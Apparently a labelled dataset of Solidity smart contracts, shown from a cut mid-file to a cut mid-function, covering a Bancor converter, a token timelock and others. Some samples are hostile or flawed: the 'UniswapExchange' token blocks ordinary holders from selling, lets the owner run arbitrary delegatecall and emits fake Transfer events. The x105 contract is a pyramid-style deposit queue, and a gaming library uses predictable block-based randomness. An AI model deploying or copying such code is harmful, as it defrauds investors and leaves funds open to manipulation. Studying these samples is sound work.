function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract IERC20Token {
function name() public constant returns (string) {}
function symbol() public constant returns (string) {}
function decimals() public constant returns (uint8) {}
function totalSupply() public constant returns (uint256) {}
function balanceOf(address _owner) public constant returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract IOwned {
function owner() public constant returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract ITokenConverter {
function convertibleTokenCount() public constant returns (uint16);
function convertibleToken(uint16 _tokenIndex) public constant returns (address);
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract IBancorConverterExtensions {
function formula() public constant returns (IBancorFormula) {}
function gasPriceLimit() public constant returns (IBancorGasPriceLimit) {}
function quickConverter() public constant returns (IBancorQuickConverter) {}
}
contract IBancorFormula {
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _depositAmount) public constant returns (uint256);
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _sellAmount) public constant returns (uint256);
}
contract IBancorGasPriceLimit {
function gasPrice() public constant returns (uint256) {}
}
contract IBancorQuickConverter {
function convert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public payable returns (uint256);
function convertFor(IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for) public payable returns (uint256);
}
contract IEtherToken is ITokenHolder, IERC20Token {
function deposit() public payable;
function withdraw(uint256 _amount) public;
function withdrawTo(address _to, uint256 _amount);
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Managed {
address public manager;
address public newManager;
event ManagerUpdate(address _prevManager, address _newManager);
function Managed() {
manager = msg.sender;
}
modifier managerOnly {
assert(msg.sender == manager);
_;
}
function transferManagement(address _newManager) public managerOnly {
require(_newManager != manager);
newManager = _newManager;
}
function acceptManagement() public {
require(msg.sender == newManager);
ManagerUpdate(manager, newManager);
manager = newManager;
newManager = 0x0;
}
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract SmartTokenController is TokenHolder {
ISmartToken public token;
function SmartTokenController(ISmartToken _token)
validAddress(_token)
{
token = _token;
}
modifier active() {
assert(token.owner() == address(this));
_;
}
modifier inactive() {
assert(token.owner() != address(this));
_;
}
function transferTokenOwnership(address _newOwner) public ownerOnly {
token.transferOwnership(_newOwner);
}
function acceptTokenOwnership() public ownerOnly {
token.acceptOwnership();
}
function disableTokenTransfers(bool _disable) public ownerOnly {
token.disableTransfers(_disable);
}
function withdrawFromToken(IERC20Token _token, address _to, uint256 _amount) public ownerOnly {
ITokenHolder(token).withdrawTokens(_token, _to, _amount);
}
}
contract BancorConverter is ITokenConverter, SmartTokenController, Managed {
uint32 private constant MAX_CRR = 1000000;
uint32 private constant MAX_CONVERSION_FEE = 1000000;
struct Reserve {
uint256 virtualBalance;
uint32 ratio;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
}
string public version = '0.4';
string public converterType = 'bancor';
IBancorConverterExtensions public extensions;
IERC20Token[] public reserveTokens;
IERC20Token[] public quickBuyPath;
mapping (address => Reserve) public reserves;
uint32 private totalReserveRatio = 0;
uint32 public maxConversionFee = 0;
uint32 public conversionFee = 0;
bool public conversionsEnabled = true;
event Conversion(address indexed _fromToken, address indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return,
uint256 _currentPriceN, uint256 _currentPriceD);
function BancorConverter(ISmartToken _token, IBancorConverterExtensions _extensions, uint32 _maxConversionFee, IERC20Token _reserveToken, uint32 _reserveRatio)
SmartTokenController(_token)
validAddress(_extensions)
validMaxConversionFee(_maxConversionFee)
{
extensions = _extensions;
maxConversionFee = _maxConversionFee;
if (address(_reserveToken) != 0x0)
addReserve(_reserveToken, _reserveRatio, false);
}
modifier validReserve(IERC20Token _address) {
require(reserves[_address].isSet);
_;
}
modifier validToken(IERC20Token _address) {
require(_address == token || reserves[_address].isSet);
_;
}
modifier validGasPrice() {
assert(tx.gasprice <= extensions.gasPriceLimit().gasPrice());
_;
}
modifier validMaxConversionFee(uint32 _conversionFee) {
require(_conversionFee >= 0 && _conversionFee <= MAX_CONVERSION_FEE);
_;
}
modifier validConversionFee(uint32 _conversionFee) {
require(_conversionFee >= 0 && _conversionFee <= maxConversionFee);
_;
}
modifier validReserveRatio(uint32 _ratio) {
require(_ratio > 0 && _ratio <= MAX_CRR);
_;
}
modifier validConversionPath(IERC20Token[] _path) {
require(_path.length > 2 && _path.length <= (1 + 2 * 10) && _path.length % 2 == 1);
_;
}
modifier conversionsAllowed {
assert(conversionsEnabled);
_;
}
function reserveTokenCount() public constant returns (uint16) {
return uint16(reserveTokens.length);
}
function convertibleTokenCount() public constant returns (uint16) {
return reserveTokenCount() + 1;
}
function convertibleToken(uint16 _tokenIndex) public constant returns (address) {
if (_tokenIndex == 0)
return token;
return reserveTokens[_tokenIndex - 1];
}
function setExtensions(IBancorConverterExtensions _extensions)
public
ownerOnly
validAddress(_extensions)
notThis(_extensions)
{
extensions = _extensions;
}
function setQuickBuyPath(IERC20Token[] _path)
public
ownerOnly
validConversionPath(_path)
{
quickBuyPath = _path;
}
function clearQuickBuyPath() public ownerOnly {
quickBuyPath.length = 0;
}
function getQuickBuyPathLength() public constant returns (uint256) {
return quickBuyPath.length;
}
function disableConversions(bool _disable) public managerOnly {
conversionsEnabled = !_disable;
}
function setConversionFee(uint32 _conversionFee)
public
managerOnly
validConversionFee(_conversionFee)
{
conversionFee = _conversionFee;
}
function getConversionFeeAmount(uint256 _amount) public constant returns (uint256) {
return safeMul(_amount, conversionFee) / MAX_CONVERSION_FEE;
}
function addReserve(IERC20Token _token, uint32 _ratio, bool _enableVirtualBalance)
public
ownerOnly
inactive
validAddress(_token)
notThis(_token)
validReserveRatio(_ratio)
{
require(_token != token && !reserves[_token].isSet && totalReserveRatio + _ratio <= MAX_CRR);
reserves[_token].virtualBalance = 0;
reserves[_token].ratio = _ratio;
reserves[_token].isVirtualBalanceEnabled = _enableVirtualBalance;
reserves[_token].isPurchaseEnabled = true;
reserves[_token].isSet = true;
reserveTokens.push(_token);
totalReserveRatio += _ratio;
}
function updateReserve(IERC20Token _reserveToken, uint32 _ratio, bool _enableVirtualBalance, uint256 _virtualBalance)
public
ownerOnly
validReserve(_reserveToken)
validReserveRatio(_ratio)
{
Reserve storage reserve = reserves[_reserveToken];
require(totalReserveRatio - reserve.ratio + _ratio <= MAX_CRR);
totalReserveRatio = totalReserveRatio - reserve.ratio + _ratio;
reserve.ratio = _ratio;
reserve.isVirtualBalanceEnabled = _enableVirtualBalance;
reserve.virtualBalance = _virtualBalance;
}
function disableReservePurchases(IERC20Token _reserveToken, bool _disable)
public
ownerOnly
validReserve(_reserveToken)
{
reserves[_reserveToken].isPurchaseEnabled = !_disable;
}
function getReserveBalance(IERC20Token _reserveToken)
public
constant
validReserve(_reserveToken)
returns (uint256)
{
Reserve storage reserve = reserves[_reserveToken];
return reserve.isVirtualBalanceEnabled ? reserve.virtualBalance : _reserveToken.balanceOf(this);
}
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public constant returns (uint256) {
require(_fromToken != _toToken);
if (_toToken == token)
return getPurchaseReturn(_fromToken, _amount);
else if (_fromToken == token)
return getSaleReturn(_toToken, _amount);
uint256 purchaseReturnAmount = getPurchaseReturn(_fromToken, _amount);
return getSaleReturn(_toToken, purchaseReturnAmount, safeAdd(token.totalSupply(), purchaseReturnAmount));
}
function getPurchaseReturn(IERC20Token _reserveToken, uint256 _depositAmount)
public
constant
active
validReserve(_reserveToken)
returns (uint256)
{
Reserve storage reserve = reserves[_reserveToken];
require(reserve.isPurchaseEnabled);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
uint256 amount = extensions.formula().calculatePurchaseReturn(tokenSupply, reserveBalance, reserve.ratio, _depositAmount);
uint256 feeAmount = getConversionFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount) public constant returns (uint256) {
return getSaleReturn(_reserveToken, _sellAmount, token.totalSupply());
}
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) {
require(_fromToken != _toToken);
if (_toToken == token)
return buy(_fromToken, _amount, _minReturn);
else if (_fromToken == token)
return sell(_toToken, _amount, _minReturn);
uint256 purchaseAmount = buy(_fromToken, _amount, 1);
return sell(_toToken, purchaseAmount, _minReturn);
}
function buy(IERC20Token _reserveToken, uint256 _depositAmount, uint256 _minReturn)
public
conversionsAllowed
validGasPrice
greaterThanZero(_minReturn)
returns (uint256)
{
uint256 amount = getPurchaseReturn(_reserveToken, _depositAmount);
assert(amount != 0 && amount >= _minReturn);
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeAdd(reserve.virtualBalance, _depositAmount);
assert(_reserveToken.transferFrom(msg.sender, this, _depositAmount));
token.issue(msg.sender, amount);
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Conversion(_reserveToken, token, msg.sender, _depositAmount, amount, reserveAmount, tokenAmount);
return amount;
}
function sell(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _minReturn)
public
conversionsAllowed
validGasPrice
greaterThanZero(_minReturn)
returns (uint256)
{
require(_sellAmount <= token.balanceOf(msg.sender));
uint256 amount = getSaleReturn(_reserveToken, _sellAmount);
assert(amount != 0 && amount >= _minReturn);
uint256 tokenSupply = token.totalSupply();
uint256 reserveBalance = getReserveBalance(_reserveToken);
assert(amount < reserveBalance || (amount == reserveBalance && _sellAmount == tokenSupply));
Reserve storage reserve = reserves[_reserveToken];
if (reserve.isVirtualBalanceEnabled)
reserve.virtualBalance = safeSub(reserve.virtualBalance, amount);
token.destroy(msg.sender, _sellAmount);
assert(_reserveToken.transfer(msg.sender, amount));
uint256 reserveAmount = safeMul(getReserveBalance(_reserveToken), MAX_CRR);
uint256 tokenAmount = safeMul(token.totalSupply(), reserve.ratio);
Conversion(token, _reserveToken, msg.sender, _sellAmount, amount, tokenAmount, reserveAmount);
return amount;
}
function quickConvert(IERC20Token[] _path, uint256 _amount, uint256 _minReturn)
public
payable
validConversionPath(_path)
returns (uint256)
{
IERC20Token fromToken = _path[0];
IBancorQuickConverter quickConverter = extensions.quickConverter();
if (msg.value == 0) {
if (fromToken == token) {
token.destroy(msg.sender, _amount);
token.issue(quickConverter, _amount);
}
else {
assert(fromToken.transferFrom(msg.sender, quickConverter, _amount));
}
}
return quickConverter.convertFor.value(msg.value)(_path, _amount, _minReturn, msg.sender);
}
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return convert(_fromToken, _toToken, _amount, _minReturn);
}
function quickChange(IERC20Token[] _path, uint256 _amount, uint256 _minReturn) public returns (uint256) {
return quickConvert(_path, _amount, _minReturn);
}
function quickBuy(uint256 _minReturn) public payable returns (uint256) {
return quickConvert(quickBuyPath, msg.value, _minReturn);
}
function hasQuickBuyEtherToken() public constant returns (bool) {
return quickBuyPath.length > 0;
}
function getQuickBuyEtherToken() public constant returns (IEtherToken) {
assert(quickBuyPath.length > 0);
return IEtherToken(quickBuyPath[0]);
}
function getSaleReturn(IERC20Token _reserveToken, uint256 _sellAmount, uint256 _totalSupply)
private
constant
active
validReserve(_reserveToken)
greaterThanZero(_totalSupply)
returns (uint256)
{
Reserve storage reserve = reserves[_reserveToken];
uint256 reserveBalance = getReserveBalance(_reserveToken);
uint256 amount = extensions.formula().calculateSaleReturn(_totalSupply, reserveBalance, reserve.ratio, _sellAmount);
uint256 feeAmount = getConversionFeeAmount(amount);
return safeSub(amount, feeAmount);
}
function() payable {
quickConvert(quickBuyPath, msg.value, 1);
}
} | 1 | 3,880 |
pragma solidity ^0.4.25;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract BeneficiaryChangeableTimelock is TokenTimelock, Ownable {
event BeneficiaryChanged(address oldBeneficiary, address newBeneficiary);
function changeBeneficiary(address _beneficiary) public onlyOwner {
emit BeneficiaryChanged(beneficiary, _beneficiary);
beneficiary = _beneficiary;
}
function release () public {
require (beneficiary != 0x0);
TokenTimelock.release();
}
}
contract TestTimelock is BeneficiaryChangeableTimelock {
constructor()
Ownable()
TokenTimelock(
ERC20Basic(0x8c39afDf7B17F12c553208555E51ab86E69C35aA),
0x0,
1549617690
)
public {}
} | 0 | 1,704 |
pragma solidity ^0.4.25;
contract x105 {
address constant private PROMO = 0x2a4589a23E3Ce45D72b27144D9b39ec032d3eAB6;
uint constant public PROMO_PERCENT = 5;
uint constant public MULTIPLIER = 105;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 2,618 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,400 |
pragma solidity ^0.4.24;
library Player{
using CommUtils for string;
address public constant AUTHOR = 0x001C9b3392f473f8f13e9Eaf0619c405AF22FC26a7;
struct Map{
mapping(address=>uint256) map;
mapping(address=>address) referrerMap;
mapping(address=>bytes32) addrNameMap;
mapping(bytes32=>address) nameAddrMap;
}
function deposit(Map storage ps,address adr,uint256 v) internal returns(uint256) {
ps.map[adr]+=v;
return v;
}
function depositAuthor(Map storage ps,uint256 v) public returns(uint256) {
return deposit(ps,AUTHOR,v);
}
function withdrawal(Map storage ps,address adr,uint256 num) public returns(uint256) {
uint256 sum = ps.map[adr];
if(sum==num){
withdrawalAll(ps,adr);
}
require(sum > num);
ps.map[adr] = (sum-num);
return sum;
}
function withdrawalAll(Map storage ps,address adr) public returns(uint256) {
uint256 sum = ps.map[adr];
require(sum >= 0);
delete ps.map[adr];
return sum;
}
function getAmmount(Map storage ps,address adr) public view returns(uint256) {
return ps.map[adr];
}
function registerName(Map storage ps,bytes32 _name)internal {
require(ps.nameAddrMap[_name] == address(0) );
ps.nameAddrMap[_name] = msg.sender;
ps.addrNameMap[msg.sender] = _name;
depositAuthor(ps,msg.value);
}
function isEmptyName(Map storage ps,bytes32 _name) public view returns(bool) {
return ps.nameAddrMap[_name] == address(0);
}
function getByName(Map storage ps,bytes32 _name)public view returns(address) {
return ps.nameAddrMap[_name] ;
}
function getName(Map storage ps) public view returns(bytes32){
return ps.addrNameMap[msg.sender];
}
function getNameByAddr(Map storage ps,address adr) public view returns(bytes32){
return ps.addrNameMap[adr];
}
function getReferrer(Map storage ps,address adr)public view returns(address){
return ps.referrerMap[adr];
}
function getReferrerName(Map storage ps,address adr)public view returns(bytes32){
return getNameByAddr(ps,getReferrer(ps,adr));
}
function setReferrer(Map storage ps,address self,address referrer)internal {
ps.referrerMap[self] = referrer;
}
function applyReferrer(Map storage ps,string referrer)internal {
require(getReferrer(ps,msg.sender) == address(0));
bytes32 rbs = referrer.nameFilter();
address referrerAdr = getByName(ps,rbs);
if(referrerAdr != msg.sender){
setReferrer(ps,msg.sender,referrerAdr);
}
}
function withdrawalFee(Map storage ps,uint256 fee) public returns (uint256){
if(msg.value > 0){
require(msg.value >= fee,"msg.value < fee");
return fee;
}
require(getAmmount(ps,msg.sender)>=fee ,"players.getAmmount(msg.sender)<fee");
withdrawal(ps,msg.sender,fee);
return fee;
}
}
library CommUtils{
function removeByIdx(uint256[] array,uint256 idx) public pure returns(uint256[] memory){
uint256[] memory ans = copy(array,array.length-1);
while((idx+1) < array.length){
ans[idx] = array[idx+1];
idx++;
}
return ans;
}
function copy(uint256[] array,uint256 len) public pure returns(uint256[] memory){
uint256[] memory ans = new uint256[](len);
len = len > array.length? array.length : len;
for(uint256 i =0;i<len;i++){
ans[i] = array[i];
}
return ans;
}
function getHash(uint256[] array) public pure returns(uint256) {
uint256 baseStep =100;
uint256 pow = 1;
uint256 ans = 0;
for(uint256 i=0;i<array.length;i++){
ans= ans+ uint256(array[i] *pow ) ;
pow= pow* baseStep;
}
return ans;
}
function contains(address[] adrs,address adr)public pure returns(bool){
for(uint256 i=0;i<adrs.length;i++){
if(adrs[i] == adr) return true;
}
return false;
}
function random(uint256 max,uint256 mixed) public view returns(uint256){
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(blockhash(lastBlockNumber));
hashVal += 31*uint256(block.coinbase);
hashVal += 19*mixed;
hashVal += 17*uint256(block.difficulty);
hashVal += 13*uint256(block.gaslimit );
hashVal += 11*uint256(now );
hashVal += 7*uint256(block.timestamp );
hashVal += 3*uint256(tx.origin);
return uint256(hashVal % max);
}
function getIdxArray(uint256 len) public pure returns(uint256[]){
uint256[] memory ans = new uint256[](len);
for(uint128 i=0;i<len;i++){
ans[i] = i;
}
return ans;
}
function genRandomArray(uint256 digits,uint256 templateLen,uint256 base) public view returns(uint256[]) {
uint256[] memory ans = new uint256[](digits);
uint256[] memory idxs = getIdxArray( templateLen);
